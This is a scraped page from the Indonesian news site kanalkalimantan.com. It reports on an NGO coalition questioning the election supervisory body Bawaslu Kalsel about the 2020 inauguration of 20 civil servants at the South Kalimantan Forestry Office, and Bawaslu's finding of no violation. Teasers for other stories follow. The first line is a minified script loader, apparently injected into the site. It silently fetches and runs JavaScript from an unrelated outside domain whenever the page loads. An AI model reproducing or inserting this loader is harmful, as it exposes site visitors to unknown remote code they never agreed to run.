(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Koalisi Lintas LSM Kalsel menyambangi Bawaslu Kalsel pada Jumat (27/3/2020) siang. Kedatangan LSM ini guna mempertanyakan dugaan pelanggaran terkait pelantikan puluhan ASN di Dinas Kehutanan Provinsi Kalsel.
Koordinator Koalisi Lintas LSM Kalsel Aliansyah mengatakan, kedatangan mereka ke Bawaslu untuk mempertanyakan dugaan pelanggaran pelantikan 20 ASN oleh Kepala Dinas Kehutanan Hanif Faisol Nurofiq atas nama Gubernur Kalsel pada 7 Januari 2020 lalu.
Dalam pertemuan ini, Aliansyah meminta hasil penelusuran dan pemeriksaan terhadap dugaan pelanggaran pada pelantikan di Dishut Kalsel. Padahal di UU Pilkada Nomor 10 Tahun 2016 Pasal 71 ayat 2 menyebutkan, para gubernur, wakil gubernur, bupati, walikota dilarang melakukan penggantian pejabat enam bulan sebelum masa penetapan pasangan calon sampai akhir masa jabatan.
“Bukankah batas waktu itu sudah dilewati, yakni tanggal 7 Januari 2020 yang lalu. Kemudian ada pelantikan 20 pejabat fungsional di Dinas Kehutanan Kalsel atas nama Gubernur Kalsel tanggal 27 Januari 2020,” jelasnya.
Aliansyah mengaku janggal jika pelantikan pejabat fungsional di lingkup Pemprov Kalsel itu dianggap biasa saja. Sebab sepengetahuan pasca tanggal 7 Januari 2020 tersebut sesuai UU Pilkada tidak terdengar lagi ada pelantikan, kecuali di Pemprov Kalsel. “Untuk itulah kami ingin mengetahui apakah dugaan pelanggaran betul terjadi atau tidak dengan menanyakannya langsung kepada Bawaslu Provinsi Kalsel,” tegas Aliansyah.
Menanggapi permintaan penjelasan dari Lintas Koalisi LSM Kalsel ini, Ketua Bawaslu Provinsi Kalsel Erna Kaspiyah mengatakan, setelah dilakukan penelusuran ke Dishut Provinsi Kalsel dan BKD Provinsi Kalsel, jajarannya tidak menemukan adanya pelanggaran. Sebab, yang dilantik bukanlah pejabat seperti di akun media sosial Dishut Provinsi Kalsel.
“Hasil pengawasan kami, tidak ada pelanggaran pada pelantikan 20 ASN di Dishut Kalsel. Karena mereka yang dilantik di luar dari pejabat sebagaimana yang dimaksud dalam UU Pilkada Nomor 10 Tahun 2016 Pasal 71 Ayat 2,” terang Erna.
Kendati begitu, Erna mengapresiasi kepada LSM yang turut melakukan pengawasan terhadap tahapan pilkada di Kalsel. Untuk itu ia juga menyampaikan siap melakukan koordinasi dengan LSM agar pilkada 2020 di Kalsel berlangsung sesuai aturan dan perundang-undangan. “Kami berterima kasih apabila ada masyarakat atau organisasi non pemerintah (LSM) yang berpartisipasi mengawasi jalannya pilkada di Kalsel ini,” tandasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.